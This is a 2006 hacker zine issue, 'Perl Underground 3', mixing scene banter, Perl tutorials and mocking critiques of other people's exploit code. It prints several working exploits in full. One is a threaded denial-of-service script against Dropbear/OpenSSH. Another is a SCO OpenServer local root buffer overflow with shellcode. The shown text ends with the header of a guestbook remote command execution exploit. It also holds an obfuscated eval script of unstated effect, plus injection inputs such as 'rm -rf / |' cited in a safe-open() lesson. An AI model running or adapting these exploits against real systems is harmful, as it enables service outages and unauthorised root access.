Copy Link
Add to Bookmark
Report
perl underground 3
$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$
$$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ 3 $$$$ $$$$ $$$$ 3 $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ 3
$$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$
$$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$$ 3 $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ 3 $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ 3 $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ 3 $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$$$$$$$$$$ $$$$ 3 $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ 3 $$$$ $$$$$ 3 $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
$$$$ 3 $$$$ $$$$ 3 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ 3 $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ 3 $$$$
$$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ 3 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ 3 $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
$$$$$$$$$$ $$$$ 3 $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ 3 $$$$$ $$$$$$$$$$$$
$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
[root@yourbox.anywhere]$ date
Sun Aug 13 18:16:19 EDT 2006
[root@yourbox.anywhere]$ perl justlayitout.pl
00. TOC
01. Part One: Summer Time
02. EyeDropper You
03. Another str0ke
04. School You: japhy
05. prdelka's cameo
06. School You: mauke
07. (K-)sPecial boy
08. School You: McDarren
09. Random Noob: Qex
10. School You: xdg
11. Token PHP noob
12. Hello bantown
13. !dSR !good
14. School You: MJD
15. Intermission
16. Part Two: Back to School
17. brian d fucking foy
18. School You: davido
19. Antisec antiperls
20. School You: atcroft
21. Russian for the fall
22. Hello s0ttle
23. RoMaNSoFt is TwEaKy
24. School You: merlyn
25. oh noez spiderz
26. Hello h0no
27. Killer str0ke
28. Shoutz and Outz
[root@yourbox.anywhere]$ perl rockon.pl
-[0x01] # Part One: Summer Time ------------------------------------------
<nemo> i had to be in a .txt
<nemo> i'm glad it's this one :p
<nemo> and not my ~/
Summer is here in its full joyous being. Let us all relax and enjoy ourselves.
Let us have fun. Write some obfuscations. Play some golf. Write fun code and
have fun coding and critiquing with your friends. Read and laugh. This issue
is less talk and more code. This is Perl Underground 3.
-[0x02] # EyeDropper You -------------------------------------------------
Would you like some cheap 0day obfuscation?
Here you go, sweet-rose.pl
eval eval '"'.
'`'.'\\'.'\\'.('['^'#').
('^'^('`'|'-')).(('^')^(
'`'|',')).'\\'.'\\'.('['^'#').('^'
^('`'|'-')).('`'^"\%").'\\'.'\\'.(
'['^'#').('^'^ ('`'|'('
)).('^'^("\`"| ('*'))).
'\\'.'\\'. ('['^'#').('^'^( '`'|',')).
('^'^('`'| '.')).'\\'.'\\'. ('['^'#').
('^'^('`'| ')')).('^' ^('`'|',')
).'\\'.''. '\\'.('['^ '#').('^'^
('`'|'(')).( '`'^'$') .'\\'.'\\' .('['^'#').(
'^'^('`'|',' )).('^'^ ('`'|'.')) .'\\'.'\\'.(
'['^'#').( '^'^("\`"| ',')).("\`"^ '$').('\\').
'\\'.('['^ '#').('^'^ ('`'|')')).( '^'^('`'|','
)).('\\'). '\\'.('['^ '#').("\^"^( '`'|'(')).('^'
^('`'|'(') ).'\\'.''. '\\'.(('[')^ '#').('^'^('`'
|',')).('^'^('`'|'.' )).('\\'). '\\'.('['^'#').('^'^('`'|',')).('`'^'&')
.'`'.('!'^'+')."\""; $:='.'^'~' ;$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
^'}';$\='`'|'!';$:=')'^'}';$~='*'| '`';$^='+'^'_';$/='&'|'@';$, ="\["&
'~';$\=','^'|';$:='.'^'~';$~="\@"| '(';$^=')'^'[';$/='`'|'.';$, ="\("^
'}';$\='`'|'!';$:=')'^'}';$~='*'|'`' ;$^='+'^'_';$/='&'|'@' ;$,='['&
'~';$\=','^'|';$:='.'^'~';$~='@'|'(' ;$^=')'^'[';$/='`'|'.' ;$,='('^
'}';$\='`'|('!');$:= ')'^'}';$~="\*"| '`';$^="\+"^ "\_";$/=
'&'|'@';$,='['&"\~"; $\=','^('|');$:= '.'^"\~";$~= '@'|'(';
$^=')'^'[';$/='`'|'.'; $,='('^'}';$\='`'| '!';$:=')'^'}';$~='*'|'`';
$^='+'^'_';$/='&'|'@'; $,='['&'~';$\=','^ '|';$:='.'^'~';$~='@'|'(';
$^=')'^'[';$/='`'|'.';$, ='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^='+'^('_');$/=
'&'|'@';$,='['&('~');$\= ','^'|';$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
^'}';$\='`'|'!';$:=')' ^'}';$~='*'|'`';$^='+'^'_';$/='&'|'@';$, ='['&"\~";
$\=','^'|';$:='.'^'~'; $~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^ '}';$\='`'
|'!';$:=')'^"\}";$~= '*'|'`';$^='+'^'_';$/='&'|'@';$,='[' &'~';$\=','^
'|';$:='.'^('~');$~= '@'|'(';$^=')'^'[';$/='`'|'.';$,='(' ^'}';$\='`'|
'!';$:=')'^'}';$~= ('*')| '`';$^='+'^('_');$/= '&'|'@';$,="\["&
'~';$\=','^'|';$:= ('.')^ '~';$~='@'|('(');$^= ')'^'[';$/="\`"|
'.';$,='('^'}';$\='`'| "\!";$:= (')')^ '}';$~='*'|('`');$^=
'+'^'_';$/='&'|'@';$,= '['&'~'; $\=',' ^'|';$:='.'^"\~";$~=
'@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\= '`'|'!';$:=')'^'}';$~=
'*'|'`';$^='+'^'_';$/='&'|'@';$,='['&'~';$\= ','^'|';$:='.'^'~';$~=
'@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^
='+'^'_';$/='&'|'@';$,='['&'~';$\=','^'|';$:='.'^'~';$~='@'|'(';$^=')'^"\[";
$/='`'|'.';$,='('^'}';$\='`'|'!';$:= (')')^ '}';$~
='*'|'`';$^='+'^'_';$/='&'|('@');$,= ('[')& '~';$\
=','^'|';$:='.'^'~';$~='@'|'('
;$^=')'^'[';$/='`'|'.';$,='('^
'}';$\='`'|'!' ;($:)=
')'^'}';$~='*' |"\`";
$^='+'
^"\_";
$/='&'
|"\@";
$,='['
&"\~";
$\=','
^"\|";
$: ='.'^'~';$~=('@')| '(';$^
=( ')')^'[';$/=('`')| '.';$,
='(' ^'}';$\='`'|"\!";$:= (')')^
'}'; $~='*'|'`';$^=('+')^ '_';$/
='&'|"\@"; $,='['&'~';$\=(',')^ '|';$:
='.'^"\~"; $~='@'|'(';$^=(')')^ '[';$/
='`'|'.';$,= '('^'}';$\='`'|'!' ;($:)=
')'^"\}";$~= '*'|'`';$^='+'^'_' ;($/)=
'&'|'@';$, ='['&'~';$\= (',')^
'|';$:='.' ^'~';$~='@'| '(';$^
=')'^"\["; $/='`' |"\.";
$,='('^'}' ;($\)= ('`')|
'!';$:="\)"^ '}';$~="\*"| '`';$^='+'^'_';$/='&'|
'@';$,="\["& '~';$\="\,"^ '|';$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'| '.';$,='('^'}';$\='`'|'!';$:="\)"^
'}';$~='*'|'`';$^='+'^ '_';$/='&'|'@';$,='['&'~';$\="\,"^
'|';$:='.'^'~';$~='@'| '(';$^=')'^'[';$/='`'| '.';$,='('^'}';$\='`'|'!';
$:=')'^'}';$~='*'|'`'; $^='+'^'_';$/='&'|'@'; $,='['&'~';$\=','^"\|";$:=
'.'^'~';$~='@'|'(';$^= ')'^'[';$/="\`"| '.';$,="\("^ '}';$\='`'|'!';$:=(')')^
'}';$~='*'|'`';$^='+'^ '_';$/='&'|"\@"; $,='['&"\~"; $\=','^'|';$:='.'^'~';$~
='@'|'(';$^=')'^'[';$/ ='`'|'.';$,=('(')^ '}';$\='`'|"\!"; $:=')'^'}';$~=('*')|
'`';$^='+'^'_';$/='&'| '@';$,='['&'~';$\= ','^'|';$:="\."^ '~';$~='@'|('(');$^=
')'^'[';$/='`'|"\."; $,='('^'}';$\='`'| '!';$:=')'^'}';$~= '*'|'`';$^='+'^'_'
;$/='&'|'@';$,="\["& '~';$\=','^'|';$:= '.'^'~';$~='@'|'(' ;$^=')'^'[';$/='`'
|'.';$,='('^'}';$\ ='`'|'!';$:=')'^'}'; $~='*'|'`';$^='+'^'_'; $/='&'|'@';$,=
'['&'~';$\=','^'|' ;$:='.'^'~';$~="\@"| '(';$^=')'^'[';$/='`'| '.';$,='('^'}'
;$\='`'|'!';$: =')'^'}';$~='*'|'`'; $^='+'^'_';$/='&'|'@'; $,='['&"\~";
$\=','^'|';$:= '.'^'~';$~='@'|"\("; $^=')'^'[';$/='`'|'.'; $,='('^"\}";
$\='`'|"\!"; $:=')'^'}';$~='*'| '`';$^='+'^'_';$/='&'| "\@";$,=
'['&"\~";$\= ','^'|';$:='.'^'~' ;$~='@'|'(';$^=')'^'[' ;$/='`'|
'.';$,='(' ^'}';$\=('`')| '!';$: =')'^'}';$~='*'| '`';$^
='+'^"\_"; $/='&'|'@';$,= ('[')& '~';$\=','^"\|"; $:='.'
^'~';$~= '@'|'(';$^ ="\)"^ '[';$/='`'|'.';$,= '('^
"\}";$\= '`'|'!';$: ="\)"^ '}';$~='*'|'`';$^= '+'^
'_';$/ ='&'|'@' ;($,)= '['&'~';$\=','
^"\|"; $:="\."^ '~';$~ ='@'|('(');$^=
')'^ '[';$/ ="\`"|
'.'; $,='(' ^"\}";
$\='`'|'!' ;($:)=
')'^'}';$~ ="\*"|
'`'; $^='+'
^'_' ;($/)=
('&')|
'@';$,
="\["&
'~';$\
="\,"^
'|';#;
Listen up. Don't ever run that. The obfu is too fu for you.
-[0x03] # Another str0ke -------------------------------------------------
Remember this?
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
# if (childpipes[j] < 0) {
# break;
# }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
# /* no free connections */
# /* TODO - possibly log, though this would be an easy way
# * to fill logs/disk */
# close(childsock);
# continue;
# }
## /str0ke (milw0rm.com)
use IO::Socket;
use Thread;
use strict;
# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;
# str0ke, it has been a pleasure.
# This script now comes across as intelligent and someone might take it seriously.
# Naturally I may have some reservations about some choices, but to each their own.
sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
}
sub exploit
{
my ($serv, $port, $sleep) = @_;
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
sleep $sleep;
close($sock);
}
sub thread {
print "Server: $serv\nPort: $port\nSeconds: $time\n";
for my $i ( 1 .. 51 ) {
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
}
sleep $time; #detach wouldn't be good
}
if (@ARGV != 3){&usage;}else{&thread;}
I have one remaining issue.
This is the one line we harshly criticized that we didn't offer a direct syntax replacement for.
Naturally, you did not do your own research and find out a witty or attractive way to fix that.
This sin, and others, contradict with your pleasant handling of the situation.
I am displeased that you have not made an effort to fix other scripts of yours.
I am curious as to why you removed Perl Underground from your site.
I am curious as to why Perl Underground was on your site for a time in the first place.
I am disappointed that I have not seen more recent Perl from you.
I hope we have not scared you off.
Question weighs more than answer, and your code will be criticized in this issue.
-[0x04] # School You: japhy ----------------------------------------------
"Open, Sesame!"
If you've used Perl for a week, you're probably familiar with the task of opening a file, either to
read from or write to it. Here's a simple refresher course for you -- some of it involves Perl 5.6,
which lets you do some nifty things with open(). There are three basic operations you use a
filehandle for: reading, writing, and appending. You can also read and write (or read and append)
to files, and you can read from to write to a program (from its output, or to its input).
# error-checking would, of course, be used
open FILE, "filename"; # read
open FILE, "< filename"; # read (explicit)
open FILE, "> filename"; # overwrite
open FILE, ">> filename"; # append
open FILE, "+< filename"; # read and write
open FILE, "+> filename"; # read and overwrite (clobber first)
open FILE, "+>> filename"; # read and append
open FILE, "program |"; # read from program
open FILE, "| program"; # write to program
For safety's sake, the explicit forms should always be used, and with a space between the mode and
the filename. Here's an example of why:
chomp(my $filename = <STDIN>);
open FILE, $filename;
This allows the user pass anything from "< /etc/passwd" to "rm -rf / |" to your open() call,
neither of which you'd be too happy to permit. For the same reason, using open(F, ">$filename")
isn't enough either -- the user could slip an extra > in on you and cause you to append, rather
than overwrite.
Perl 5.6 allows an even greater extent of control: a multi-argument form of open():
# open FILEHANDLE, MODE, EXPR
open FILE, "<", $filename; # read from $filename
If you want to pipe to a program, the MODE should be "|-"; if you want to pipe from a program, the
MODE should be "-|". In the case of call programs, you can send a list of arguments after the
program name:
# open FILEHANDLE, MODE, EXPR, LIST
open LS, "-|", "ls", "-R";
That invokes ls with the -R switch (for recursive listing), and returns the output to Perl.
Finally, Perl 5.6 allows you to use an undefined lexical (a my variable) in the place of the
filehandle. This allows you to use filehandles as variables more easily -- using them in objects,
passing them to functions, etc.
for my $f (@listing) {
open my($fh), "<", $f;
push @files, $fh;
}
Obfuscorner
If you only send a filehandle to open(), Perl will look for a package variable (not a lexical) of
the same name, and use the value of that variable as the filename to open. A simple use of this is
to open the program itself; since $0 holds the name of the program, you can simply write:
open 0; # like: open 0, $0
Whose Line Is It, Anyway?
Files are not made up of lines. Files are made up of sequential bytes. A "line" is a made-up
concept which only applies to text files (who cares how many "lines" there are in a JPEG?). The
standard definition of a line is a sequence of zero or more bytes ending with a newline. Whether
that is \n or \r\n or \n\r is up to your OS to decide. But who cares about "lines"? Perl is more
interested in records.
A record is a sequence of bytes separated from other records by some other sequence of bytes. A
"line" is merely a record with a separator \n (or whatever). What good are records, though, if Perl
keeps reading lines? Well, just tell Perl not to read a line!
open FORTUNE, "< /usr/share/games/fortunes/art";
{
local $/ = "\n%\n";
@fortunes = <FORTUNE>;
}
close FORTUNE;
This code makes use of the $/ variable -- the "input record separator" -- to change how much each
read of <FORTUNE> does. Instead of stopping at "\n", it stops at "\n%\n" (the separator of my
computer's fortune files). This means that we can read multiple "lines" at once. In fact, Perl has
two special values of $/ explicitly for that purpose:
Setting $/ to "" causes Perl to use "paragraph" mode; it will read a chunk of lines that is
followed by extra newlines -- in other words, a sequence of bytes ending in two or more newlines.
Setting $/ to undef causes Perl to read the rest of the file all at once.
In addition to the record-separator use of $/, you can set it to a reference to a positive integer,
which means that you will read that many bytes at on each read:
while (read(FILE, $buf, 1024)) { ... }
# is like
{
local $/ = \1024;
while ($buf = <FILE>) { ... }
}
If you're wondering why I continually local()ize $/, it is to make sure that the change to $/ are
restricted to where we want it. We don't want future filehandle-reads to be using the changed
value.
The $/ variable is also used by chomp() -- this function doesn't just remove a newline from the end
of its arguments, it removes the value of $/ from the end of them (if it's there).
Outputting Records
There are a couple of variables related to printing records as well. The $\ variable (the output
record separator) and the $, variable (the output field separator). The mnemonics for these two are
rather simple:
$\ goes where you put a \n in your print()
$, goes where you put a , in your print()
The fact that $\ and $/ share a mirrored character is not a mistake either -- they are related in
that each is the other's opposite.
How are they useful? They let you be obscenely lazy. Let's say you're playing with the /etc/passwd
file:
open PASSWD, "/etc/passwd"
or die "can't read /etc/passwd: $!";
open MOD, "> /etc/weirdpasswd"
or die "can't write to /etc/weirdpasswd: $!";
$\ = $/; # ORS = IRS = "\n"
$, = ":"; # OFS = ","
while (<PASSWD>) {
chomp; # removes $/ from $_
my @f = split $,; # splits $_ on occurrences of $,
# fool around with @f
print MOD @f;
}
close MOD;
close PASSWD;
If we hadn't set $\ and $, in this code, the output file would have been one long line of fields,
with nothing in between each field, and no way to separate one record from the next. However, since
we have set them, we automatically append $\ to each print() statement, and automatically insert $,
in between each argument to print(). Here's the explicit code that doesn't use these two variables:
while (<PASSWD>) {
chomp;
my @f = split ':';
# fool around with @f
print MOD join(':', @f), "\n";
}
While that may end up being more clear than the other, it's only that way because you've not been
exposed to the variables. I'm sure before you learned how to use $_, your code was a lot more
verbose; but once you embrace that default variable, code like
for my $line (@lines) {
chomp $line;
my @fields = split /=/, $line;
for my $f (@fields) { $f =~ s/->/: /; }
# ...
}
became code like
for (@lines) {
chomp;
my @fields = split /=/;
for (@fields) { s/->/:/ }
# ...
}
It's the same with these other variables.
While We're Being Lazy...
There's no variable that symbolizes the default filehandle to print to -- if you print() with no
filehandle mentioned, Perl assumes you mean to print to STDOUT.
Well, not necessarily. The default output handle can be changed. Its default value is STDOUT, but
you can change that with the select() function:
print "to stdout\n";
my $oldfh = select MOD;
print "to mod\n";
select $oldfh;
print "to stdout\n";
Assuming you start out with STDOUT as your default output handle, the code runs as is described.
The select() function (in the single argument form) takes a filehandle, sets it as the default, and
returns the previously select()ed filehandle.
You can call select() with no arguments, and it will merely return the current default filehandle
(as an information source).
Huffering, Puffering, and Buffering
Another useful filehandle variable is $| the autoflush variable. This variable is unique for each
filehandle -- output to STDERR is flushed automatically, but output to STDOUT is not. This variable
is a true boolean -- it either holds a true value (which gets stored as 1) or a false value (which
gets stored as 0).
Buffering is the process of storing output until a certain condition is reached (such as a newline
is encountered). When a buffer is flushed, its contents are emptied. Where do they go? Well, to the
filehandle proper. A buffer is a temporary holding location between the process generating the
output and the place the output will appear.
Like I said, each filehandle has its own buffer control. To set the autoflush variable for a given
filehandle, you have to use select(), or the standard IO::Handle module's autoflush method.
# turn on autoflushing for OUT
{
my $old = select OUT;
$| = 1;
select $old;
}
# another way, using IO::Handle
use IO::Handle;
autoflush OUT 1;
The IO::Handle module offers many helpful methods for filehandles (which are internally objects of
the IO::Handle class). You might want to see what else it has to offer that you might want to use.
You can make your own per-filehandle variables via the Tie::PerFH module, available on CPAN.
Obfuscorner
In the evil Perl spirit of "there's more than one way to do it", there's an obfuscated way to turn
on autoflushing for a filehandle. It combines the three lines (save the old handle, set $|, restore
the old handle) into one:
select((select(OUT), $|=1)[0]);
The dissection of this code is as follows:
select(OUT) makes OUT the default handle and returns the previous handle
$| = 1 sets autoflush to true, after the select(OUT) has been executed
(select(OUT), $|=1)[0] is a list slice -- it takes the first element of the list (select(OUT),
$|=1), which is the value returned by select(OUT) (the previous filehandle)
select(...) makes that value the default filehandle -- and what is ...? it's the first element of
the list (described above)
Delightfully icky!
Another trick is to take advantage of the fact $| is always either 0 or 1. If it's 0, and you
subtract 1, -1 is transformed into 1. Subtracting 1 again gives you 0 again. Thus, $|-- is a
builtin flip-flop!
# alternate indenting and not indenting lines
for (@data) {
print " " x $|--;
print "$_\n";
}
This doesn't work with $|++... can you see why?
The Magic of <>
The final mystery revealed is a lengthy one. We all know we can read input via <STDIN>. But what
about the mysterious empty diamond operator, <>? What does it do, and how can we interact with its
magic?
The empty diamond operator is related to @ARGV, $ARGV, the ARGV filehandle, the ARGVOUT filehandle,
and $^I. You probably know one of these (@ARGV) already. The others will soon be made clear. First
here's a sample program:
#!/usr/bin/perl -w
# inplace.pl ext code [files]
# ex: inplace.pl .bak '$_ = "" if /^#/' *.pl
use strict;
$^I = shift;
my $code = shift;
while (<>) {
eval $code;
print;
}
All the following symbols are strict-safe.
@ARGV
the list of command-line arguments to your program
when using <>, Perl uses these arguments as sources of input (so you can read from "ls |"!)
if the array is empty to begin with, Perl puts "-" in there, which means "read from STDIN"
when a file is being read, it is removed (shift()ed) from the array
$ARGV
this holds the input source currently begin read from
ARGV
this is the filehandle opened, using $ARGV
ARGVOUT
if $^I is not undef, this is the output filehandle being printed to
it is select()ed automatically
$^I
this is the in-place editing backup extension variable, and can be set from the command-line via
the -i switch
if this isn't undef, the loop will read from ARGV and write to ARGVOUT
if it contains the "*" character, the value is not an extension, but the new name of the file (so
if modifying foo.txt and $^I is "old-*", the backup file is old-foo.txt)
Knowing this, our code can be written rather explicitly. You're about to see why Perl is so nice to
you.
#!/usr/bin/perl -w
use strict;
my $ext = shift;
my $code = shift;
@ARGV = '-' unless @ARGV;
FILE:
while (defined($ARGV = shift)) {
my $backup;
# if we're not working with STDIN...
if ($ARGV ne '-') {
# get backup filename
if ($ext =~ /\*/) { ($backup = $ext) =~ s/\*/$ARGV/ }
else { $backup = "$ARGV$ext" }
# try renaming file
rename $ARGV => $backup or
warn("Can't rename $ARGV to $backup: $!, skipping file.") and
next FILE;
}
# with STDIN, there's no real backup done
else { $backup = '-' }
open ARGV, "< $backup" or
warn("Can't open $backup: $!") and
next FILE;
# if we're not dealing with STDIN,
# but $backup is $ARGV, we're doing real
# in-place editing, so we use a Unix trick:
# * open the file for reading
# * unlink it
# * open the file for writing
# this is a miracle, but it fails in DOS :(
if ($backup ne '-' and $backup eq $ARGV) {
unlink $backup or
warn("Can't remove $backup: $!, skipping file.") and
next FILE;
}
open ARGVOUT, "> $ARGV" or
warn("(panic) Can't write $ARGV: $!, skipping file.") and
next FILE;
while (<ARGV>) {
eval $code;
print ARGVOUT;
}
close ARGVOUT;
# note: we don't close ARGV!
}
Aren't you glad Perl does all that hard work for you?
Now that you know about these symbols, you can use some of them to your advantage. Here's a bit of
code that prints each line of input with the source and the line number in front of it. Notice,
though, that since the code that Perl uses never closes ARGV, the $. variable never gets reset to
0. That means the line count keeps increasing:
while (<>) {
print "$ARGV ($.): $_";
}
If we have two files, a.txt and b.txt whose contents are "abc\ndef\nghi\n" and "jkl\nmno\n"
respectively, this program outputs:
a.txt (1): abc
a.txt (2): def
a.txt (3): ghi
b.txt (4): jkl
b.txt (5): mno
Now, what if we want the line number to be reset for each new file? We need to be able to detect
the end of the file. We can do that with the eof() function! There are two ways we can use the
function for detecting the end of each input:
while (<>) {
print "$ARGV ($.): $_";
close ARGV if eof; # reset $.
}
# or
while (<>) {
print "$ARGV ($.): $_";
close ARGV if eof(ARGV); # reset $.
}
If you don't use any parentheses, and don't send an argument, Perl will check the last filehandle
read from. If you send an argument, it checks that filehandle. "But japhy! What about eof()?" you
ask? Well, that's a very special case. If you want to know when you've reached the end of all the
input, you can use eof():
while (<>) {
print "$ARGV ($.): $_";
print "==end==\n" if eof(); # after ALL data
}
Lazy Loops
In addition to the -i switch, Perl offers switches like -n and -p, which construct loops around the
source of your code:
perl -ne 'print if /foo/' files
# becomes
perl -e 'while (<>) { print if /foo/ }' files
perl -pe 's/foo/bar/' files
# becomes
perl -e 'while (<>) { s/foo/bar/ } continue { print }' files
You can use -p with -i to write a simple one-liner file editor:
# keep backups
perl -pi.bak -e 's/PERL/Perl/g' files
# don't keep backups
perl -pi -e 's/PERL/Perl/g' files
Why do you think you have to say -pi -e, and can't use -pie?
References
Using files:
open(): perldoc -f open
close(): perldoc -f close
select(): perldoc -f select
eof(): perldoc -f eof
overview: perldoc perlopentut
File-specific variables:
$/, $\, $|, $,, $.: perldoc perlvar
chomp(): perldoc -f chomp
the IO::Handle module: perldoc IO::Handle
<> magic:
the -i, -n, and -p switches: perldoc perlrun
-[0x05] # prdelka's cameo ------------------------------------------------
# This is a very boring and straight-forward script to ridicule.
# However, we had a personal request for prdelka.
# prdelka sticks to what he knows, and his code is a bit elusive these days.
# Perl Underground always seeks to please.
#!/usr/bin/perl
# This is almost strict compliant.
# Push yourself to new heights and learn to use it!
# SCO Openserver 5.0.7 enable exploit
# ===================================
# A standard stack-overflow exists in the handling of
# command line arguements in the 'enable' binary. A user
# must be configured with the correct permissions to
# use the "enable" binary. SCO user documentation suggests
# "You can use the asroot(ADM) command. In order to grant a
# user the right to enable and disable tty devices". This
# exploit assumes you have those permissions.
#
# Example.
#
# $ id
# uid=200(user) gid=50(group) groups=50(group)
# $ perl enablex.pl
# # id
# uid=0(root) gid=50(group) egid=18(lp) groups=50(group)
#
# - prdelka
# The intense complexities of this program demanded an example.
my $buffer;
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# .= is unneeded when the variable has no original contents to add to.
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# my $buffer = "\x90" x 52;
# Save some effort.
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16";
$buffer .="\x31\xc0\x50\x68";
$buffer .="/ksh";
$buffer .="\x68";
$buffer .="/bin";
$buffer .="\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6";
for($i = 0;$i <= 7782;$i++)
# for (0 .. 7782) { }
{
$buffer .= "A";
# $buffer .= 'A' x 7782; # To skip your loop entirely!
}
$buffer .= "\x3f\x60\x04\x08";
# my $buffer = "\x90" x 52 . "\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16\x31\xc0\x50\x68"
# . "/ksh\x68/bin\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6" . 'A' x 7782 . "\x3f\x60\x04\x08";
system("/tcb/bin/asroot","enable",$buffer);
# You are free to add spacing between your parameters, or any other applicable place as suits your aesthetics.
# You used 20 lines of comments for what was essentially a two statement script.
# You spread those two statements into 15 awkward lines.
-[0x06] # School You: mauke ----------------------------------------------
#line 2 "unip.pl"
use strict;
use Irssi ();
our $VERSION = '0.03';
our %IRSSI = (
authors => 'mauke',
name => 'unip',
);
use 5.008;
use Encode qw/decode encode_utf8/;
use Unicode::UCD 'charinfo';
sub unip {
my @pieces = map split, @_;
my @output;
for (@pieces) {
$_ = "0x$_" if !s/^[Uu]\+/0x/ and /[A-Fa-f]/ and /^[[:xdigit:]]{2,}\z/;
$_ = oct if /^0/;
unless (/^\d+\z/) {
eval {
my $tmp = decode(length > 1 ? 'utf8' : 'iso-8859-1', "$_", 1);
length($tmp) == 1 or die "`$_' is not numeric, conversion to unicode failed";
$_ = ord $tmp;
};
if ($@) {
(my $err = $@) =~ s/ at .* line \d+.*\z//s;
push @output, $err;
next;
}
}
my $utf8r = encode_utf8(chr);
my $utf8 = join ' ', unpack 'C*', $utf8r;
my $x;
unless ($x = charinfo $_) {
push @output, sprintf "U+%X (%s): no match found", $_, $utf8;
next;
}
push @output, "U+$x->{code} ($utf8): $x->{name} [$utf8r]";
}
join '; ', @output
}
Irssi::command_bind(
unip => sub {
my ($data, $server, $witem) = @_;
$server->command("echo " . unip $data);
},
);
Irssi::command_bind(
sunip => sub {
my ($data, $server, $witem) = @_;
$witem->command("say " . unip $data);
},
);
-[0x07] # (K-)sPecial boy ------------------------------------------------
# Now the question of the hour, will this get rm'd when someone posts it to .aware public ftp?
# K-sPecial is a rapid and effective coder. He also completely lacks formal Perl learning
# He's learned piece by piece, but has missed much and could benefit from some reeducation
# He makes it work, and knows a lot of tricks
# but this code is new, and all your virtues won't save you from a little rubbing this time
# no shebang line?
# I guess you fill your pound quota below
## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
## 1.00 (06/07/2006) - GUESTEX-exec.pl created
##
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to
## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'}
## is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can
## contain ports (host:port) and you CAN specify a single command to execute via the
## commandline, although if you do not you will be given a shell like interface to
## repeatedly enter commands.
